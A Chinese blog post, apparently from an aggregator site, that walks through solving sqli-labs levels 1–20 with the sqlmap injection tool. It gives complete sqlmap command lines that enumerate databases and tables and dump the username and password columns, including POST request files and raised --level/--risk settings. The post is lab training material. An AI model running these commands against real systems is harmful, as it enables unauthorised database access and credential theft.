当前位置: 首页 > news >正文

用sqlmap工具打sqli-labs前20关靶场

这个星期我们用手动注入打了前20关靶场,今天我们用sqlmap直接梭哈前20关

1.介绍sqlmap

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞。

2.下载和使用sqlmap

官方下载地址:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

下载压缩包,之后解压

那怎么使用呢???

打开sqlmap被解压到的地方,我解压到了F盘

直接在红色筐子里输入cmd,即可打开窗口使用sqlmap

3.sqlmap基本语法

sqlmap是由python写成

使用方法:python sqlmap.py -参数

常用用法

1.-h

-h是显示基本用法

语法:python sqlmap.py -h

2. -u

-u是基础参数,后面跟需要测试的URL,常用于GET类型的注入

语法:python sqlmap.py -u "URL"

3.--batch

--batch是,可以在所有需要用户手动输入的的部分(通常是询问执行yes还是no【样子是[Y/n]】),执行默认操作,不需要用户再输入

语法:python sqlmap.py -u "URL" --batch

4.--level 等级

--level是,测试等级,等级越高,测试越复杂,共有五级,当默认集数测试不出来时。可以提高等级。

语法:python sqlmap.py -u "URL" --level

其余我们在做中介绍。

4.解题

Less-1——Less-10(GET类型)

前十关解法相同,以第一关为例

1.库名  --dbs 查询库名

python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -dbs

 

2.表名   -D 表名 --tables 查询表名

python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security --tables

3.列名  -D 表名 -T 列名 --columns 查询列名

python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users --columns

4.字段  -D 表名 -T 列名 -C 字段 --dump 查询字段

python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users -C username,password --dump

 

要是这几关有的查询不出来,记得还有--level 等级,等级提升这一操作

Less-11——Less-17(POST基础注入)

从11关开始就需要bp抓包啦

创建一个文本文档在sqlmap文件夹中,将POST报文保存在文本文档中!

-r 代表文档

语法:python sqlmap.py -r 文本文档

1.库名

python sqlmap.py -r 11.txt --batch -dbs

 

2.表名

python sqlmap.py -r 11.txt --batch -D security --tables

 

3.列名

python sqlmap.py -r 11.txt --batch -D security -T users --columns

 

4.字段

python sqlmap.py -r 11.txt --batch -D security -T users -C username,password --dump

 

Less15-17这几关sqlmap跑的特别慢,大家耐心等待,17关记得输入一个用户名再抓包!

Less18——Less20

这几关会发现爆表爆不出来

提示让用--level --risk 前面介绍 level了,那什么是risk呢?

“risk”参数用于控制攻击的深度,数值越高,攻击的幅度越大,但也会增加攻击被发现的风险;

//库名

python sqlmap.py -r 18.txt --batch -dbs --level=3 --risk=3

 之后操作也是一样的!!!

工具注入还是十分方便,但是还是得熟练手工注入!!!! 

http://www.lryc.cn/news/488607.html

相关文章:

  • 代码随想录算法训练营第二十一天 | 93.复原IP地址 | 78.子集
  • #Uniapp篇:支持纯血鸿蒙发布适配UIUI
  • 边缘提取函数 [OPENCV--2]
  • 插值原理(数值计算方法)
  • 【Pikachu】SSRF(Server-Side Request Forgery)服务器端请求伪造实战
  • IDEA怎么定位java类所用maven依赖版本及引用位置
  • Discuz论坛网站管理员的默认用户名admin怎么修改啊?
  • BIO、NIO、AIO的区别?
  • 音视频入门基础:MPEG2-TS专题(7)——FFmpeg源码中,读取出一个transport packet数据的实现
  • Flutter中sqflite的使用案例
  • 【2024 Optimal Control 16-745】【Lecture 2】integrators.ipynb功能分析
  • 【linux】ubuntu下常用快捷键【笔记】
  • 【Linux】常用命令练习
  • 力扣-Hot100-数组【算法学习day.37】
  • 表格不同类型的数据如何向量化?
  • 成都栩熙酷,电商服务新选择
  • 【java基础】微服务篇
  • 【LLM训练系列02】如何找到一个大模型Lora的target_modules
  • uni-app快速入门(八)--常用内置组件(上)
  • 基于Amazon Bedrock:一站式多模态数据处理新体验
  • FAX动作文件优化脚本(MAX清理多余关键帧插件)
  • Chapter 2 - 16. Understanding Congestion in Fibre Channel Fabrics
  • mysql数据库(六)pymysql、视图、触发器、存储过程、函数、流程控制、数据库连接池
  • RFdiffusion EuclideanDiffuser类解读
  • Flutter实现气泡提示框学习
  • vue3 路由守卫
  • 【MATLAB源码-第218期】基于matlab的北方苍鹰优化算法(NGO)无人机三维路径规划,输出做短路径图和适应度曲线.
  • 如何控制自己玩手机的时间?两台苹果手机帮助自律
  • 【java-Neo4j 5开发入门篇】-最新Java开发Neo4j
  • Python的3D可视化库 - vedo (1)简介和模块功能概览